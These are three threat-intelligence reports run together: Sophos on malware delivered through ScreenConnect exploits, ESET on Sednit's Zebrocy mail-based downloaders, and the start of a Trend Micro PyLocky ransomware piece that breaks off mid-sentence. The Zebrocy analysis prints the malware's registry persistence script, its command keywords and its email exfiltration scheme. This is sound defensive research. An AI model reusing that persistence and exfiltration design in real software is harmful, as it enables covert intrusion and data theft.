# ConnectWise ScreenConnect Attacks Deliver Malware **February 23, 2024** Sophos X-Ops is tracking a developing wave of vulnerability exploitation targeting unpatched ConnectWise ScreenConnect installations. This page provides advice and guidance for customers, researchers, investigators, and incident responders. This information is based on observation and analysis of attacks by SophosLabs, Sophos Managed Detection and Response (MDR), and Sophos Incident Response (IR), in which the ScreenConnect client or server was involved. We will update this page as events and understanding develop, including our threat and detection guidance. **Updates:** - **17:45 UTC, 2024-03-01:** Information on three new attacks attempting to move deeper into a customer network after exploiting a vulnerability in the ScreenConnect server. - **19:30 UTC, 2024-02-23:** In collaboration with ConnectWise, we have updated the Situation Overview section to clarify circumstances surrounding the incident and ongoing attacks. ## Situation Overview On February 19, 2024, ConnectWise released a security advisory for its remote monitoring and management (RMM) software. Their advisory highlighted two vulnerabilities that impact older versions of ScreenConnect and have been mitigated in version 23.9.8 and later. ConnectWise states in the advisory these vulnerabilities are rated as “Critical—Vulnerabilities that could allow the ability to execute remote code or directly impact confidential data or critical systems.” The two vulnerabilities involve authentication bypass and path traversal issues within the server software itself, not the client software that is installed on the end-user devices. Attackers have found that they can deploy malware to servers or to workstations with the client software installed. Sophos has evidence that attacks against both servers and client machines are currently underway. Patching the server will not remove any malware or webshells attackers manage to deploy prior to patching, and any compromised environments need to be investigated. Cloud-hosted implementations of ScreenConnect, including screenconnect.com and hostedrmm.com, received mitigations within hours of validation to address these vulnerabilities. Self-hosted (on-premise) instances remain at risk until they are manually upgraded, and it is our recommendation to patch to ScreenConnect version 23.9.8 immediately. The upgrade is available on ScreenConnect’s download page. If you are no longer under maintenance, ConnectWise is allowing you to install version 22.4 at no additional cost, which will fix CVE-2024-1709, the critical vulnerability. However, this should be treated as an interim step. ConnectWise recommends updating to the latest release to get all the current security patches, and therefore all partners should upgrade to 23.9.8 or higher using the upgrade path outlined above. On February 21, 2024, proof of concept (PoC) code was released on GitHub that exploits these vulnerabilities and adds a new user to the compromised system. ConnectWise has also updated their initial report to include observed, active exploitation in the wild of these vulnerabilities. On February 22, 2024, Sophos X-Ops reported through our social media handle that despite the recent law enforcement activity against the LockBit threat actor group, we had observed several attacks over the preceding 24 hours that appeared to be carried out with LockBit ransomware, built using a leaked malware builder tool. It appears that our signature-based detection correctly identified the payloads as ransomware generated by the leaked LockBit builder, but the ransom notes dropped by those payloads identified one as “buhtiRansom,” and the other did not have a name in its ransom note. This article includes additional details and analysis of the ScreenConnect attacks Sophos observed in the past 48 hours. ## Recommendations - Confirm whether you have an on-premises deployment of ScreenConnect Server. - If you have an on-premises instance in your environment running a version prior to 23.9.8, take it offline immediately until you upgrade to the newest version; isolate or shut it down until it is patched and investigated for signs of exploitation. - If you have an on-premises version in your environment that was updated to version 23.9.8 or later prior to February 21, you are not at risk, though it would be prudent to inspect the server to ensure no malicious payloads were installed. - If you use the cloud-hosted version, you are not at risk and no further actions are necessary. - If your deployment of ScreenConnect Server is hosted by a third-party vendor, confirm with them they have upgraded their instance to 23.9.8 or later; if they have not, recommend that they take it offline until the patches are applied. - Scan your environment and customer environments for instances of ScreenConnect that you may not be aware of, to avoid the risk of those ScreenConnect being unpatched and exposing the environment to a Supply Chain Attack. - If you have ScreenConnect clients and are unsure of/unable to determine the patch status of all servers that may connect to it, you should presume these servers are vulnerable until you can verify otherwise. - You can protect ScreenConnect clients from vulnerable servers by implementing Sophos Application Control Policy to block ScreenConnect until the servers can be verified to be patched. More details on Application Control can be found on our site. - Once patching has been completed, perform a thorough review of the ScreenConnect installation looking for unknown accounts and abnormal server activity. - Review the users.xml for signs of new accounts or modifications. - Assume that any machines hosting a ScreenConnect server could have one or more implanted web shells (or other remote access tools not installed by your IT team) that need to be found and removed. - Inspect your estate for newly added user IDs or accounts and remove or freeze access to them until they are known to be legitimate. - In an on-premises installation, check the location where any ScreenConnect Extensions are located for web shells or other payloads (files with .ps1, .bat, or .cmd file suffixes). - Deploy endpoint security to any server currently or formerly used to run ScreenConnect. - XG Firewall customers will soon be able to enable new IDS signatures designed to detect malicious activity related to ScreenConnect exploits. - If you know how to use penetration-testing tools like the Metasploit Framework, there is already a Metasploit module you can use to test whether your devices are vulnerable. There are several other proofs-of-concept in the wild, as well. ## Attacks Involving ScreenConnect Since the news broke this week about the vulnerability in ScreenConnect, Sophos analysts have been closely monitoring telemetry systems looking for any anomalous or malicious behavior in which the ScreenConnect client or server software was either the root cause or was part of the attack chain in some way. The teams then sifted through this noisy log data to isolate and document specific malicious activity. Before this vulnerability had become widely known, there had been a moderate number of daily telemetry entries in which threat actors attempted to deploy malware or run a malicious command on a customer machine running ScreenConnect. However, since February 21, the daily volume of telemetry events involving ScreenConnect has more than doubled. Many companies and managed service providers use ScreenConnect, and not all behavior we observed came as a direct result of the vulnerability being exploited, but Sophos believes a significant number of the current wave of telemetry events were captured as a direct result of the increased threat actor attention to ScreenConnect. Threat actors have been leveraging the exploits against ScreenConnect to launch a wide variety of attacks and deliver a range of different types of malware to target machines. ### LockBit Ransomware At least one threat actor is abusing ScreenConnect to deploy a ransomware executable. Sophos suspects it is the same person or group; an identical payload (SHA-256 2da975fee507060baa1042fb45e8467579abf3f348f1fd37b86bb742db63438a) was discovered in more than 30 different customer networks, beginning on February 22. This distribution pattern is strongly indicative of the threat actor pushing the payload from a compromised server. The executable in question was built using the LockBit 3 ransomware builder tool leaked in 2022, so this particular sample may not have originated with the actual LockBit developers. Our detection for this generation of LockBit (Troj/Ransom-GYT) was built specifically to detect samples generated by the leaked builder tool before they run. We’ve also seen a memory detection rule (Mem/LockBit-B) stopping the execution of both the original and the copycat builds of LockBit in some cases. However, the ransomware did not call itself LockBit. The attackers deploying this ransomware executable have consistently used the filename of “enc.exe” or “upd.exe” in the following locations: - `<d>\Windows\Temp\ScreenConnect\23.9.6.8787\upd.exe` - `<d>\Windows\Temp\ScreenConnect\23.9.6.8787\enc.exe` - `<d>\users\[username]\temp\enc.exe` The “buhtiRansom” LockBit variant was not the only ransomware we spotted in the wild. We also saw a different attacker attempt to drop another payload using the certutil utility to download it from a web address, write it to the root of the C:\ drive with the filename svchost.exe, and execute it. In this case, the behavioral rule Lateral_1b blocked the file from being downloaded and the attack failed. ### AsyncRAT Attacks The Labs team who manage our CryptoGuard and HitmanPro tools noticed a burst of detections downstream of ScreenConnect. Digging in, we can see these attacks, in which a malicious process is triggering our HollowProcess detection against PowerShell, intend to deliver AsyncRAT as a payload. ### Password Stealers Telemetry indicates attackers are also pushing the Vidar/Redline data stealer malware (SHA-256 c94038781c56ab85d2f110db4f45b86ccf269e77a3ff4b9133b96745ff97d25f) via ScreenConnect. The HMPA CookieGuard and TTP classifications (T1555.003) trigger on this type of attack. The attack looks like the ScreenConnect.WindowsClient.exe launches the malware from this location: - `<d>\Users\<username>\Documents\ConnectWiseControl\Temp\UpdaterScreenConnect.exe` ### SimpleHelp Remote Access Client, Followed by Ransomware One threat actor abused ScreenConnect to push another remote access client to the target machine. In this example, the attacker used ScreenConnect.WindowsClient.exe to launch the SimpleHelp installer (named first.exe) from this location: - `<d>\Windows\Temp\ScreenConnect\20.13.1905.7657\Files\first.exe` Five hours later, on the same machine, we observed ransom notes appear on the system and files renamed with a different file extension. The ransomware had been installed using the msiexec.exe utility. The process tree for this event looked like this: - `services.exe -> msiexec.exe -> <d>\Windows\TEMP\MW-5f3810bb-bac1-4cc4-a1a3-7e04046d7ea4\files\crypt64ult.exe` A few minutes later, the attackers use ScreenConnect to run a command that downloads another malware payload to this machine, using the Windows certutil utility, then runs it. ### Rust Infostealer Attackers use the ScreenConnect client utility to run a batch script they’ve downloaded into the folder belonging to another remote access tool. The batch script downloads a payload, written in Rust, from an AWS storage server. The payload, when it runs, injects itself into Explorer.exe then deletes itself from the filesystem. Analysts have not studied the payload, but several other vendors classify it as malware called Redcap, which is used to steal and exfiltrate information from servers. ### Cobalt Strike Payloads On February 22, three unrelated companies (two in North America, one in Europe) were hit with a remarkably similar attack that delivered a Cobalt Strike beacon to a machine in the network with the ScreenConnect client installed. The telemetry indicated that in all three cases, the Cobalt Strike payload was caught and prevented from running by a behavioral rule called AMSI/Cobalt-A. The ScreenConnect client received a file with a .cmd extension in the temporary directory where it stores downloaded files, then executed it. The .cmd tried to launch PowerShell to use it to download the beacon, but was stopped by the endpoint rule. Subsequent analysis revealed that the payload was retrieved from the same C2 server in all three cases. ### Xworm Payload Attempted Delivery to Home User One machine that was running the ScreenConnect client software was attacked with malware called Xworm. The exploit caused the client to write a file into the %temp% directory and then triggered the client to run it. The file contained a one-line PowerShell command that downloaded a 531KB file from a public Pastebin-type server. The file was, itself, a script that contained a massive data blob and a small amount of script code to transform the data into a Windows executable. Once decoded, the malware uses a variety of persistence methods and can spread to other machines by copying itself to USB storage media. It is also a full-featured RAT and adds an exclusion for itself to Windows Defender. However, the endpoint protection on the customer’s machine prevented it from being infected. The signatures Troj/RAT-FJ and Troj/PSDrop-IU effectively neutralized the threat before it could cause harm. ### Further Attempts We’ve seen three more incidents of attackers attempting to move deeper into customer networks after exploiting a vulnerability in the ScreenConnect server. In one, the attacker attempted to do reconnaissance on the ScreenConnect server, using PowerShell to try to run getlocaluser (to obtain a list of local user accounts on the server) and ipconfig (to get the local network interface information). The actor behind the other incidents was much more persistent. In one of their attempts, they first attempted to disable Sophos endpoint protection. Then they attempted to install a Cloudflare Tunnel client to be used as a backdoor, downloading it from Cloudflare’s GitHub page. They also ran a number of PowerShell commands in an attempt to carry out reconnaissance and establish persistence on the compromised server: - running pwd (to get the current directory); - ipconfig; - whoami (to get the account name associated with the Screen Connect process); - tasklist (to view running processes on the server); - get-localuser; - get-netfirewallprofile (to view the active Windows Firewall configuration); - ping 1.1.1.1 (a check to see if the server could reach Cloudflare’s DNS service). The attacker also attempted to make edits to the server’s Windows Registry to enable Remote Desktop Protocol access and created a persistent task named “Windows update” that attempted to download a payload from sc.ksfe.workers[.]dev. They deployed the Empire post-exploitation framework in an attempt to further establish persistence and obtain credentials. The same Empire payload, loaded from the same remote server, was used in a third attempted attack we detected. All of this activity was blocked by Sophos endpoint security. ### Safe Mode RAT Deploys Its Own ScreenConnect for Persistence In an attack against the ScreenConnect server instances, a threat actor is pushing an executable named patch3.exe to vulnerable servers. The patch3 executable is a RAT with some interesting behaviors; it apparently adds entries into the registry so that it will start up even if the computer is booted into Safe Mode. It also downloads an .msi installer. MDR analysts looking more closely into this sample determined that the threat actor was installing a new instance of the ScreenConnect client on the infected device, then using their (the attackers’) own ScreenConnect client to talk to (and remotely manage) the target’s ScreenConnect server. The infected device later launched various PowerShell commands. ## Threat Hunting Information The simplicity of exploiting these vulnerabilities makes it imperative for organizations to assess their exposure and take decisive steps to mitigate risks. The following points offer a high-level guide to investigate your environment: 1. **Identification of ScreenConnect installations:** The first step involves locating all instances of ScreenConnect within your organization’s network. Remember, some of these installations might be managed by external service providers, so thoroughness is key. The server component is ultimately what needs patched, but knowing the scope of client installations will help assess exposure. 2. **Isolation and removal:** Temporarily isolate or uninstall the ScreenConnect Client software from identified devices. This measure is critical until you can confirm that the server has been updated with the necessary security patches or until a comprehensive analysis is conducted. If you don’t manage the ScreenConnect Server for your environment, uninstallation may be the fastest route to mitigate the risk. 3. **Conduct detailed analysis:** On devices with ScreenConnect client software, perform an in-depth investigation. Focus on: - Creation of new local users: Check for any unauthorized new user accounts which were created. - Suspicious client software activity: Monitor for unusual commands executed by the ScreenConnect client. - System and domain reconnaissance activities: Look for commands that indicate scanning or probing of your systems. - Disabling of security controls: Look for any actions that attempt to deactivate security measures, such as anti-virus software and local firewall policies. 4. **Initiate Incident Response if needed:** If your analysis uncovers any suspicious activities, promptly activate your incident response plan. This step is crucial to understand the scope of the potential incident and to implement remediation strategies. Sophos X-Ops Incident Response has built a series of XDR queries for customers to use for threat hunting in their environment. These queries include the following: - Check version of ScreenConnect Server – Identifies machines running ScreenConnect Server vulnerable to Authentication Bypass (CVE-2024-1709 & CVE-2024-1708). - Check version of ScreenConnect Server .sql (datalake) – Identifies machines running ScreenConnect Server vulnerable to Authentication Bypass (CVE-2024-1709 & CVE-2024-1708). - ScreenConnect Relay IP – Identify the IP addresses that the ScreenConnect application running on machines is connecting to. These IP addresses can be utilized in external tools like Shodan.io and Censys.io to assess if the ScreenConnect server corresponding to these endpoints is vulnerable to CVE-2024-1709 and CVE-2024-1708. - SetupWizard.aspx in IIS logs – Look for the trailing slash after SetupWizard.aspx in the IIS logs, which can be an indicator of possible exploitation of ScreenConnect auth bypass. - Check user.xml file for new users created – Check the User.xml file found in the ScreenConnect\App_Data folder for possible signs of exploitation in the ScreenConnect Server. The content of the file will be updated when an attacker executes the exploit and creates a new user. - Evidence of temporary User File creation – Check for temporary user creation XML files on disk within a time range. This file can be an indicator for possible exploitation of CVE-2024-1709. - Check for .ASPX .ASHX files in App_Extensions folder – Detect potential exploitation of CVE-2024-1708 on a machine hosting a ScreenConnect server by looking for .ASPX and .ASHX files written in the \ScreenConnect\App_Extensions folder. - Identify shells being spawned from ScreenConnect – Identify shells being spawned from the ScreenConnect process. ## Detection and Protection The following detection rules were previously implemented to identify abuse of ScreenConnect and are still viable for identifying post-exploitation activity: - WIN-EXE-PRC-SCREENCONNECT-COMMAND-EXECUTION-1 - WIN-EXE-PRC-SCREENCONNECT-REMOTE-FILE-EXECUTION-1 - WIN-EXE-PRC-SCREENCONNECT-RUNFILE-EXECUTION-1 We have multiple protections within InterceptX to block post-exploitation activity. We’ve also released the following detection for publicly available exploit scripts seen targeting CVE-2024-1709 (CWE-288) — Authentication Bypass Using Alternate Path or Channel: - ATK/SCBypass-A ### Protections for SFOS and EPIPS: - SID 2309339: Connectwise Screenconnect Authentication Bypass Vulnerability - SID 2309343: Connectwise Screenconnect Authentication Bypass Vulnerability - SID 2309344: Connectwise Screenconnect Authentication Bypass Vulnerability ## Acknowledgments Anthony Bradshaw, Paul Jaramillo, Jordon Olness, Benjamin Sollman, and Dakota Mercer-Szady from MDR. Anand Ajjan, Fraser Howard, Rajesh Nataraj, Gabor Szappanos, and Ronny Tijink from SophosLabs. Peter Mackenzie, Elida Leite, and Lee Kirkpatrick from Incident Response. Indicators of compromise relating to these attacks have been published to the SophosLabs GitHub.
# Sednit: What’s going on with Zebrocy? In August 2018, Sednit’s operators deployed two new Zebrocy components, and since then we have seen an uptick in Zebrocy deployments, with targets in Central Asia, as well as countries in Central and Eastern Europe, notably embassies, ministries of foreign affairs, and diplomats. The Sednit group has been operating since at least 2004 and has made headlines frequently in past years: it is believed to be behind major, high-profile attacks. For instance, the US Department of Justice named the group as being responsible for the Democratic National Committee (DNC) hack just before the US 2016 elections. The group is also presumed to be behind the hacking of global television network TV5Monde, the World Anti-Doping Agency (WADA) email leak, and many others. This group has a diversified set of malware tools in its arsenal, several examples of which we have documented previously in our Sednit white paper from 2016. Meanwhile, ESET researchers released a whitepaper on LoJax, a UEFI rootkit we attribute to Sednit, used against organizations in the Balkans, and Central and Eastern Europe. Zebrocy is a set of downloaders, droppers, and backdoors; while downloaders and droppers are doing reconnaissance, backdoors implement persistence and spying activities against the target. These new components use an unusual way to exfiltrate gathered information by using protocols related to mail services such as SMTP and POP3. The victims targeted by these new components are similar to victims mentioned in our previous Zebrocy post and by Kaspersky. The targets of such attacks are located in Central Asia, as well as countries in Central and Eastern Europe, notably embassies, ministries of foreign affairs, and diplomats. ## The big picture For two years now, the Sednit group has primarily used phishing emails as the infection vector for Zebrocy campaigns. Once the targets have been compromised, they use different first-stage downloaders to gather information about the victims and, should the victims be interesting enough, after a delay of several hours – or even days – they deploy one of their second-level backdoors. The classic modus operandi for a Zebrocy campaign is for the victim to receive an archive attached to an email. This archive contains two files, one a benign document and one an executable. The operator tries to fool the victim by naming the executable with an apparent document or image file name by incorporating the “double extension” trick. This new campaign uses a more involved procedure. We dissect this process below. ### Delphi dropper The first binary is a Delphi dropper, which is kind of unusual for a Zebrocy campaign. Most of the time it’s a downloader rather than a dropper that is installed on the victim system as the first stage. This dropper contains some tricks to make it more difficult to reverse-engineer. It uses a keyword – liver in the samples we described here – to mark the start and end of key elements. The YARA rule above looks for the string liver. The first liver is the one used in the code and it doesn’t separate anything from anything, while the others separate the key descriptor, the image, and the encrypted payload in the dropper. Starting with the image, this is dropped as `C:\Users\public\Pictures\scanPassport.jpg` if a file of that name does not already exist. Interestingly, the dropper’s filename, `SCANPASS_QXWEGRFGCVT_323803488900X_jpeg.exe`, also hints at a phishing scheme revolving around traveling or passport information. This might indicate that the operator knew the phishing message’s target. The dropper opens the image: if the file exists, it stops executing; otherwise, it drops the image, opens it, and retrieves the key descriptor `OpenAir39045_Bayren_Munchen`. The image doesn’t seem to display anything while the file format is valid. The key descriptor’s string contains `Bayren_Munchen`, which seems likely to refer to the German soccer team FC Bayern Munich. Regardless, it is not the content of the key descriptor – but its length – that matters, with that length used to retrieve the XOR key used to encrypt the payload. To get the XOR key, the dropper looks for the last liver keyword and adds the offset of the key descriptor. The length of the XOR key – 27 (0x1b) bytes – is the same as that of the key descriptor. Using the XOR key and a simple XOR loop, the dropper decrypts the last part – which is the encrypted payload – right after the last tag until the end of the file. Notice that the executable payload’s MZ header starts right after the keyword liver and the XOR key retrieved from a part of the PE header that is normally a sequence of 0x00 bytes, which are restored once the payload is decrypted. It drops the payload as `C:\Users\Public\Documents\AcrobatReader.txt` and moves the file to `C:\Users\Public\Documents\AcrobatReader.exe`. Perhaps this is an attempt to avoid endpoint protection systems triggering an alert based on a binary dropping a file with a .exe extension. Once again, the operator tries to fool victims in the event that they take a look at the directory, in which case they’ll see the file displayed as a PDF file. Finally, the dropper executes its freshly-dropped payload and exits. ### MSIL mail downloader The payload of the previous dropper is a UPX-packed MSIL downloader. To make the process easier to understand, the main logic is described below, followed by source code, then an overview of the dissected control flow. The Main method calls Run to start the application, which then creates the form Form1. ```csharp { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run((Form) new Form1()); } ``` Form1 initiates a lot of variables, including a new Timer for seven of them. ```csharp this.start = new Timer(this.components); this.inf = new Timer(this.components); this.txt = new Timer(this.components); this.subject = new Timer(this.components); this.run = new Timer(this.components); this.load = new Timer(this.components); this.screen = new Timer(this.components); ``` A Timer object has three important fields: - Enabled: indicates if the timer is active. - Interval: the time, in milliseconds, between elapsed events. - Tick: the callback executed when the timer interval has elapsed and the timer is enabled. Here these fields are initialized as: ```csharp this.start.Enabled = true; this.start.Interval = 120000; this.start.Tick += new EventHandler(this.start_Tick); this.inf.Interval = 10000; this.inf.Tick += new EventHandler(this.inf_Tick); this.txt.Interval = 120000; this.txt.Tick += new EventHandler(this.txt_Tick); this.subject.Interval = 120000; this.subject.Tick += new EventHandler(this.subject_Tick); this.run.Interval = 60000; this.run.Tick += new EventHandler(this.run_Tick); this.load.Interval = 120000; this.load.Tick += new EventHandler(this.load_Tick); this.screen.Interval = 8000; this.screen.Tick += new EventHandler(this.screen_Tick); ``` For each object, it sets an Interval which is from 8 seconds to 2 minutes. A callback is added to the event handler. Notice that start is the only one that sets Enabled as true, meaning that after 2 minutes (120000 milliseconds = 120 seconds) start_Tick will be called by the event handler. ```csharp private void start_Tick(object sender, EventArgs e) { try { this.start.Enabled = false; Lenor lenor = new Lenor(); this.dir = !Directory.Exists(this.label15.Text.ToString()) ? this.label16.Text.ToString() + "\" : this.label15.Text.ToString() + "\"; this.att = this.dir + "audev.txt"; this._id = lenor.id(this.dir); this.inf.Enabled = true; } } ``` Thereafter each method has the same behavior: it sets the Enabled variable to false at the beginning of the method. The method occurs, and afterwards sets the Enabled variable of the next object to true, which will activate the next timer. The Enabled variable is used by the operator to put in place a kind of state machine: if the functions fail, this is a mechanism to repeat failed functions until they succeed. The time between the execution of two functions might be an attempt to evade endpoint protection systems by adding a delay. Now the structure of each method is defined; the following part will focus on the control flow of the malware. As the exchanges happen between different email inboxes, here is an overview of the different steps. One of the early checks made by the malware is for the existence of a specific path used to drop every file used during its execution. If possible, it uses `C:\Users\Public\Videos\` — otherwise it will fall back to `C:\Documents and Settings\All Users\Documents\` as its default directory. Notice that the latter path is specific to Windows XP while the former is for Vista and above. A 16-byte id is generated by concatenating the C: volume serial number and the UserName, and stored in the file `audev.txt`. The downloader gathers the following information: - current path of the application - operating system version - system directory - user domain - machine name - UserName - current time zone - current date - logical drive list and information about each of them (model, serial number, etc…) - directory listing of `C:\Program Files\` and `C:\Program Files (x86)\` - process list All this information is stored in the `C:\Users\Public\Videos\si.ini` file and sent in an email message, as an attachment, via SMTPS, using the default port 465. The email body contains the string SI (which probably stands for System Information), the recipient is `[email protected]`. For all email exchange, the message’s Subject: is set to the id. The operator chooses to have multiple fallback addresses and sends the same email to two other, different recipients, presumably in case the main one is not working. Once the email has been sent, the downloader deletes the `si.ini` file. For the first execution of the malware, it creates the file `set.txt` with `{System_Parametrs = 10}` inside and creates the Windows registry entry. One screenshot of the victim’s computer is taken under the name `scx.bin` and sent as an email attachment with SC (which probably stands for Screenshot) in the email’s body. After dispatch, this malware connects to the `[email protected]` mailbox via POP3 over SSL (port 995) and looks for messages with a Subject: that corresponds to its own id. If there is such a message and the body is not empty, the malware hex decodes it and then sends a message with okey in the body to `[email protected]`. The content of the email previously retrieved is cleaned and parsed. Two strings are obtained: the first one is a password and the second is a username for an email address. These new credentials are used to connect to the specified inbox freshly collected, and to also look there for a message with a subject that matches the malware’s id as well as an attachment with the string audev in its filename. If both conditions are met, the malware saves the attachment and deletes the message from the server. All logging messages are sent to `[email protected]` while messages retrieved via POP3 come from credentials recently obtained. These decisions from the operators make forensics more difficult. First, if you have the downloader with emails, you can’t connect to the mailbox that contains the next stage. Second, if you retrieve the email credentials, you still can’t get the next payload because it was deleted after retrieval. Once the downloader successfully writes the attachment to disk, it sends an email with okey2 in the body and an attachment, named `l.txt`, containing `090`. The same file is overwritten with `000` and the malware tries to retrieve another message. Again – if it works – the `l.txt` file is sent with body text of okey3. The content of the attachment is a directory and a filename. The malware moves the audev file to this filepath. Finally, the malware sends an email with a body message of okey4 and `l.txt` as attachment. It starts the executable — `audev.exe` and checks in the list of processes to see if one of them contains the string audev. If a process with such a name is found, it sends a last email with okey5 as the body message and `l.txt` as the attachment. Finally, it deletes `l.txt` and `set.txt`, deletes the Windows registry key it created, and exits. ### Delphi mail downloader The main role of this downloader is to assess the importance of the compromised system and, if it is deemed important enough, to download and execute Zebrocy’s last downloader. The binary is written in Delphi and packed with UPX. The complete definition of the TForm1 object can be found in its resource section and contains some configuration parameters used by the malware. The following sections focus on the initialization, capabilities, and network protocol of the downloader. #### Initialization At the beginning, it decrypts a bunch of strings that are email addresses and passwords. The operator uses the AES ECB encryption algorithm. Each string is hex-encoded, with the first four bytes corresponding to the final size of the decrypted string (the decrypted strings may contain some padding at the end). There are two AES keys in the TForm1 object; the first one is used to encrypt data while the second is used to decrypt. Emails and passwords are used by the operator to send commands to the malware and also to retrieve information harvested from the victim’s computer. The communication protocols are SMTP and POP3 – both of them over SSL. To use OpenSSL, the malware drops and uses two OpenSSL dynamic link libraries (DLLs): `libeay32.dll` and `ssleay32.dll`. Notice that all files are dropped in the malware’s working directory, `C:\Users\Public\`. The persistence is done during the first execution of the malware using a well-known technique, the “Logon scripts”. It creates a script file `registration.bat` and writes several strings from the TForm1 object. The final script is: ```bash reg add HKCU\Environment /v "UserInitMprLogonScript" /t REG_EXPAND_SZ /d "C:\Users\Public\Videos\audev.exe" /f del C:\Users\Public\Videos\registr.bat exit ``` Last but not least, the malware creates an id, in the same way as seen in previous Zebrocy binaries. It retrieves the UserName via the `GetUserNameW` Windows API and prepends the volume serial number of the C:\ drive. #### Capabilities While there are some conditions and order in the execution flow to collect information about the victim, the following section describes different gathering capabilities. The scan configuration is stored in the TForm1 object, grouped under seven different possibilities for retrieving information from the victim’s computer. Starting with a simple scan, the first information that the malware can collect is related to files with the following extensions: `.docx`, `.xlsx`, `.pdf`, `.pptx`, `.rar`, `.zip`, `.jpg`, `.bmp`, `.tiff`. For each file found on the disk, it retrieves the full path and the last modified date of the file. That information is encrypted using the AES key mentioned earlier and stored in the file `0.txt`. Another scan targets the extensions `.dat`, `.json`, `.db` and like the previous scan it retrieves the full path and last modified date of the file. Then it encrypts them and it stores it under the file `57.txt`. Listing running processes is also one of the capabilities of this malware and it stores that information in the `08.txt` file. ```plaintext ======Listing_of_processes======= [System Process] System smss.exe csrss.exe wininit.exe csrss.exe winlogon.exe services.exe lsass.exe ``` In the file `i.txt` the malware gathers general information regarding the victim’s computer as well as some information about the malware, like the version number and the path where it’s executed. ```plaintext v7.00 C:\Users\Public\Videos\audev.txt ============================================ Log_Drivers: C: fixed; size= 102297 Mb, free=83927 Mb S/N: [redacted] ================================================== OSV: Windows 7 WinType: 32 WinDir: C:\Windows Lang: English (United States) TZ: UTC1:0 Romance Standard Time HostN: [redacted]-PC User: [redacted] ===============S_LIST===================== C:\Program Files\Common Files C:\Program Files\desktop.ini C:\Program Files\DVD Maker C:\Program Files\Internet Explorer C:\Program Files\Microsoft.NET C:\Program Files\MSBuild C:\Program Files\Reference Assemblies C:\Program Files\Uninstall Information C:\Program Files\Windows Defender ``` The malware is capable of taking screenshots, which are stored as `2\[YYYY-mm-dd HH-MM-SS]-Image_001.jpg`, and generates another file `2\sa.bin`, populated with the path listing of all screenshots taken. Its last capability is network enumeration; the output is found as `4.txt`. #### Network Protocol The Delphi Mail Downloader is quite a new addition to Zebrocy’s toolset and it features a new way to exfiltrate data and retrieve commands from the operator. The exfiltration is quite simple but very noisy on the network, as all the encrypted files gathered previously are sent over SMTPS and each version of the file is sent three times. | Sender | Recipient | |----------------------------------------|---------------------------------------| | [email protected] | [email protected] | | [email protected] | [email protected] | | [email protected] | [email protected] | The Subject: of the mail is the id of the victim and the file is sent as an attachment with a keyword corresponding to the file content. Notice that for each file there is an encrypted version of the file sent. | files | files encrypted | keywords | |----------|----------------|----------| | 0.txt | | SCAN | | 57.txt | 58.txt | ACC | | 08.txt | 082.txt | PrL | | i.txt | i2.txt | SYS_INFO | | 4.txt | 42.txt | GET_NETWORK | Screenshots taken and files matching both scans are sent as well but with different keywords. | Content | Keywords | |-----------------------------------------------------------|----------| | screenshots | SC | | .docx, .xlsx, .pdf, .pptx, .rar, .zip, .jpg, .bmp, .tiff | FILEs | | .dat, .json, .db | D_ACC | While the exfiltration uses SMTP, the binary connects to the email address `[email protected]` via POP3 and parses emails. The body of the email contains different keywords that are interpreted as commands by the malware. | Keywords | Purpose | Log | |-----------------|-----------------------------------------|-------| | scan | scan | | | ldfile | scan | | | edit34 | execute and delete | | | pKL90 | register | isreg | | prlist | process listing | | | Start23 | execute | isr | | net40 | enumerating network resources | | | dele5 | delete file | isd | | dele6 | delete directory | isd | | cd25 | create directory | isc | | autodel | delete itself | | | Co55 | copy file | is_cp | | Mo00 | move file | is_m | Once executed, a debug log and the result of the command, if any, are sent back to the operator. For example, for a scan command, the operator receives a file that contains the list of files matching the scan extensions along with each matching file. In the past, we identified an overlap between Zebrocy and other traditional Sednit malware. We caught Zebrocy dropping XAgent, the Sednit flagship backdoor. Thus, we attribute Zebrocy to the Sednit group with high confidence. However, the analysis of these binaries shows some mistakes at the language level as well as development decisions that indicate a different maturity in the development of the toolset. Both downloaders are using mail protocols to exfiltrate information and share common mechanisms to gather the same information. Both are also very noisy on the network and on the system, as they create a lot of files and send a lot of them over the network. While analyzing the Delphi mail downloader, some features seem to have disappeared but some strings still remain in the binary. Thus, while this toolset is being operated by the Sednit group, we are very confident that it is being developed by a different and less experienced team, as compared to those who develop the traditional Sednit components. Zebrocy components are fresh add-ons to the Sednit toolset, and the recent events might explain the increasing use of Zebrocy’s binaries rather than the good old Sednit main malware. ## Indicators of Compromise (IoCs) | Filename | SHA-1 | ESET detection | |-----------------------------------------------------------------------|-------------------------------------------------------------|------------------------------| | SCANPASS_QXWEGRFGCVT_323803488900X_jpeg.exe | 7768fd2812ceff05db8f969a7bed1de5615bfc5a | Win32/Sednit.ORQ | | C:\Users\public\Pictures\scanPassport.jpg | da70c54a8b9fd236793bb2ab3f8a50e6cd37e2df | - | | C:\Users\Public\Documents\AcrobatReader.{exe,txt} | a225d457c3396e647ffc710cd1edd4c74dc57152 | MSIL/Sednit.D | | C:\Users\Public\Videos\audev.txt | a659a765536d2099ecbde988d6763028ff92752e | Win32/Sednit.CH | | %TMP%\Indy0037C632.tmp | 20954fe36388ae8b1174424c8e4996ea2689f747 | Win32/TrojanDownloader.Sedn | | %TMP%\Indy01863A21.tmp | e0d8829d2e76e9bb02e3b375981181ae02462c43 | Win32/TrojanDownloader.Sedn | ## List of emails | Emails | |---------------------------------| | [email protected] | | [email protected] | | [email protected] | | [email protected] | | [email protected] | | [email protected] | | [email protected] | | [email protected] | | [email protected] | | [email protected] | | [email protected] | | [email protected] |
# A Closer Look at the Locky Poser, PyLocky Ransomware Updated as of September 10, 2018, 6:40 PM PDT to update how PyLocky establishes C&C connection. While ransomware has noticeably plateaued in today’s threat landscape, it’s still a cybercriminal staple. In fact, it saw a slight increase in activity in the first half of 2018, keeping pace by being fine-tuned to evade security solutions, or in the case of PyLocky (detected by Trend Micro as RANSOM_PYLOCKY.A), imitate established ransomware families and ride on their notoriety. In late July and throughout August, we observed waves of spam email delivering the PyLocky ransomware. Although it tries to pass off as Locky in its ransom note, PyLocky is unrelated to Locky. PyLocky is written in Python, a popular scripting language, and packaged with PyInstaller, a tool used to package Python-based programs as standalone executables. Ransomware written in Python isn’t new — we’ve already seen CryPy (RANSOM_CRYPY.A) in 2016, and Pyl33t (RANSOM_CRYPPYT.A) in 2017 — but PyLocky features anti-machine learning capability, which makes it notable. Through the combined use of Inno Setup Installer (an open-source script-based installer) and PyInstaller, it posed a challenge to static analysis methods, including machine learning-based solutions — something we have already seen variants of Cerber do (although Cerber used NullSoft installer). PyLocky’s distribution also 